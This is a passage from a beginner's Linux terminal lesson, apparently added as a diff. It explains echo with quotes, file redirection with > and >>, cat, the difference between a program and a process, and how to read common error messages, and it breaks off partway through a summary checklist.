+There are two new things here. First, the `"..."` quotes: they hold several words together as a single piece of text. In `echo Hello` there was no need since it was a single word (the three-word example above also worked without quotes); but when writing text to a file, quotes are the cleanest way of saying "all of these are one piece." Second, the `>` mark: normally `echo` would write the output **to the screen**; `>` instead means "write the output not to the screen, but **to that file**." So this line creates a file named `not.txt` with `my first note` written inside it. Nothing appears on the screen — the output went to the file now.
+
+If you type `ls` you'll see `not.txt`. So what's inside it? **To see the contents of a file** → `cat`:
+
+```
+cat not.txt
+```
+```
+my first note
+```
+
+There you go: you created a file and looked inside it — all from the keyboard.
+
+> ⚠️ Careful: `>` **wipes the file's contents and writes from scratch.** If `not.txt` is already full and you do `echo "..." > not.txt` again, the old content is erased. If you want to **append to the end** of the content, use a double `>>` instead of a single `>`. For now, just jot this down on the side.
+
+---
+
+## What Just Happened? (A Program or a Process?)
+
+Now let's go back and make a nice connection. `echo`, `ls`, `cat` — these are all actually **programs.** Small programs that sit on the disk and know how to do the job of "write to the screen", "list the folder", "show the file".
+
+What happens when you type `ls` and press Enter is the very picture from the previous lesson:
+
+```
+ 1) The operating system finds the program named "ls" on the disk
+ 2) It loads it into memory (the storehouse)
+ 3) The worker (the processor) runs that program's list of orders → the output comes to the screen
+ 4) The program ends, control returns to you → a new prompt
+```
+
+> 🔑 Here those two words become concrete:
+> - **Program** = the list of orders sitting on the disk (the recipe). E.g.: the `ls` program.
+> - **Process** = that program loaded into memory and **currently running** (the recipe cooking in the kitchen).
+>
+> So `ls` is a program on the disk; when you run it a short-lived process is born, does its job, dies, and gives you back the prompt. Every command is a small process being born and dying.
+
+Later we'll write and run **our own** program with `nasm`. That will be exactly like this: the file you write is a program on the disk, and when you run it, a process. The terminal is where you kick off this cycle.
+
+---
+
+## Did You Get an Error? Good.
+
+Sooner or later you'll type a command wrong. For instance, instead of `echo`, by mistake:
+
+```
+eco Hello
+```
+```
+eco: command not found
+```
+
+No panic — this isn't the terminal getting mad at you; it's just saying **"I don't recognize a program called eco"**. In other words, you typed a letter wrong. Fix it, try again. That's exactly the usual programming cycle: type → get an error → read → fix.
+
+See error messages as a **clue, not an enemy**. Most of the time they tell you exactly what's wrong:
+
+- `command not found` → you typed the command name wrong, or that program isn't installed.
+- `No such file or directory` → you gave a file/folder name that doesn't exist (again, most of the time a typo).
+- `Permission denied` → you don't have permission to do that job (we'll touch on this later).
+
+> 💡 All three of the most common errors actually turn out to be "typos." That's why **completion with Tab** (which we saw above) is both a speed boost and a shield against errors.
+
+> 💡 **You might be wondering:** *"If I type something wrong, could I accidentally delete my precious Linux or my files?"* The commands you know (`echo`, `ls`, `pwd`, `cd`, `mkdir`, `cat`) **delete** nothing — they only look, move around, and create. The real sharp knife that deletes files is `rm`, but we haven't even taught it yet; when it comes, we'll point at it loudly. Typing a command wrong is harmless too: the result is at most `command not found`, meaning nothing happens. (System files also require `sudo` + a password, so you can't stumble into them by accident.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Terminal = the window where you give the computer orders by TYPING, not with the mouse.
+☐ Rhythm: type the command → Enter → read the output → new prompt.
+☐ In the terminal you're always inside a folder:
+ - pwd → "where am I?" (which folder)
+ - ls → "what's here?" (file/folder list)
+☐ Navigating and creating:
+ - mkdir